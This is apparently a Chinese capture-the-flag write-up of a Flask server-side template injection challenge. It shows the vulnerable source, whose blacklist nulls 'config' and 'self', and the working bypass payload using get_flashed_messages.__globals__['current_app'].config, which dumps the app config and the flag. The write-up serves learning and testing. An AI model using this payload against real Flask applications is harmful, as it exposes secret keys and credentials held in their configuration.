一道ssti题目
打开之后显示源码,整理一下
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__': app.run(debug=True)
不难看懂,前提是你得了解一下flask
大概意思就是flag在config里面,但是你直接输入config会给你过滤掉,然后如何绕过config呢?
直接贴上大佬的帖子
https://xz.aliyun.com/t/8029
下面是绕过的方法
{{get_flashed_messages.__globals__['current_app'].config}}
里面有关于config的绕过,其中提到了url_for
和get_flashed_messages
这两个方法,这里就不是很理解了,我理解的这两个方法是要提前传值(可能不对),然后再通过这两个方法进行调用。这里直接调用了这两个方法的全局变量。关键是有‘current_app’
,通过‘current_app’
获得config
。问题是怎么知道这两个方法的全局变量中有current_app,其他的方法还有嘛?
flag的获取就不说了,直接把上面的绕过方法粘过去就行了。
/shrine/{{get_flashed_messages.__globals__['current_app'].config}}
'FLAG': 'flag{shrine_is_good_ssti}'